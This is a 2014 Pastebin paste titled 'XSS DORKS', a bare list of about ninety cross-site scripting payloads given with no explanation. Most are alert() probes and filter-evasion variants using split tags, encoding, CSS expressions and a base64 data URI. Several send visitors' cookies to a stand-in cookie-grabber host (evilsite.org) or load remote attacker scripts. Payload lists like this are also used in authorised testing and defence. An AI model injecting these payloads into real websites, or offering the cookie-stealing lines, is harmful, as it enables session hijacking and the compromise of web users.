dworms

XSS DORKS

Mar 4th, 2014
296
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.98 KB | None | 0 0
  1. SS Codes to be executed
  2. Code:
  3.  
  4. '';!--"<XSS>=&{()}
  5.  
  6. '>//\\,<'>">">"*"
  7.  
  8. '); alert('XSS
  9.  
  10. <script>alert(1);</script>
  11.  
  12. <script>alert('XSS');</script>
  13.  
  14. <IMG SRC="javascript:alert('XSS');">
  15.  
  16. <IMG SRC=javascript:alert('XSS')>
  17.  
  18. <IMG SRC=JaVaScRiPt:alert('XSS')>
  19.  
  20. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  21.  
  22. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  23.  
  24. <script src="http://www.evilsite.org/cookiegrabber.php"></script>
  25.  
  26. <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie"+escape(document.cookie)</script>
  27.  
  28. <scr<script>ipt>alert('XSS');</scr</script>ipt>
  29.  
  30. <script>alert(String.fromCharCode(88,83,83))</script>
  31.  
  32. <img src=foo.png onerror=alert(/xssed/) />
  33.  
  34. <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
  35.  
  36. <? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
  37.  
  38. <marquee><script>alert('XSS')</script></marquee>
  39.  
  40. <IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
  41.  
  42. <IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
  43.  
  44. <IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
  45.  
  46. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  47.  
  48. "><script>alert(0)</script>
  49.  
  50. <script src=http://yoursite.com/your_files.js></script>
  51.  
  52. </title><script>alert(/xss/)</script>
  53.  
  54. </textarea><script>alert(/xss/)</script>
  55.  
  56. <IMG LOWSRC=\"javascript:alert('XSS')\">
  57.  
  58. <IMG DYNSRC=\"javascript:alert('XSS')\">
  59.  
  60. <font style='color:expression(alert(document.cookie))'>
  61.  
  62. <img src="javascript:alert('XSS')">
  63.  
  64. <script language="JavaScript">alert('XSS')</script>
  65.  
  66. <body onunload="javascript:alert('XSS');">
  67.  
  68. <body onLoad="alert('XSS');"
  69.  
  70. [color=red' onmouseover="alert('xss')"]mouse over[/color]
  71.  
  72. "/></a></><img src=1.gif onerror=alert(1)>
  73.  
  74. window.alert("Bonjour !");
  75.  
  76. <div style="x:expression((window.r==1)?'':eval('r=1;
  77.  
  78. alert(String.fromCharCode(88,83,83));'))">
  79.  
  80. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
  81.  
  82. "><script alert(String.fromCharCode(88,83,83))</script>
  83.  
  84. '>><marquee><h1>XSS</h1></marquee>
  85.  
  86. '">><script>alert('XSS')</script>
  87.  
  88. '">><marquee><h1>XSS</h1></marquee>
  89.  
  90. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
  91.  
  92. <META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">
  93.  
  94. <script>var var = 1; alert(var)</script>
  95.  
  96. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  97.  
  98. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
  99.  
  100. <IMG SRC='vbscript:msgbox(\"XSS\")'>
  101.  
  102. " onfocus=alert(document.domain) "> <"
  103.  
  104. <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
  105.  
  106. <STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
  107.  
  108. perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
  109.  
  110. perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
  111.  
  112. <br size=\"&{alert('XSS')}\">
  113.  
  114. <scrscriptipt>alert(1)</scrscriptipt>
  115.  
  116. </br style=a:expression(alert())>
  117.  
  118. </script><script>alert(1)</script>
  119.  
  120. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  121.  
  122. [color=red width=expression(alert(123))][color]
  123.  
  124. <BASE HREF="javascript:alert('XSS');//">
  125.  
  126. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
  127.  
  128. "></iframe><script>alert(123)</script>
  129.  
  130. <body onLoad="while(true) alert('XSS');">
  131.  
  132. '"></title><script>alert(1111)</script>
  133.  
  134. </textarea>'"><script>alert(document.cookie)</script>
  135.  
  136. '""><script language="JavaScript"> alert('X \nS \nS');</script>
  137.  
  138. </script></script><<<<script><>>>><<<script>alert(123)</script>
  139.  
  140. <html><noalert><noscript>(123)</noscript><script>(123)</script>
  141.  
  142. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  143.  
  144. '></select><script>alert(123)</script>
  145.  
  146. '>"><script src = 'http://www.site.com/XSS.js'></script>
  147.  
  148. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
  149.  
  150. <SCRIPT>document.write("XSS");</SCRIPT>
  151.  
  152. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
  153.  
  154. ='><script>alert("xss")</script>
  155.  
  156. <script+src=">"+src="http://yoursite.com/xss.js?69%2C69"></script>
  157.  
  158. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
  159.  
  160. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
  161.  
  162. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
  163.  
  164. src="http://www.site.com/XSS.js"></script>
  165.  
  166. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
  167.  
  168. !--" /><script>alert('xss');</script>
  169.  
  170. <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  171.  
  172. "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
  173.  
  174. '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
  175.  
  176. <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  177.  
  178. <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
  179.  
  180. "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
  181.  
  182. '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
  183.  
  184. <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
Advertisement
Add Comment
Please, Sign In to add comment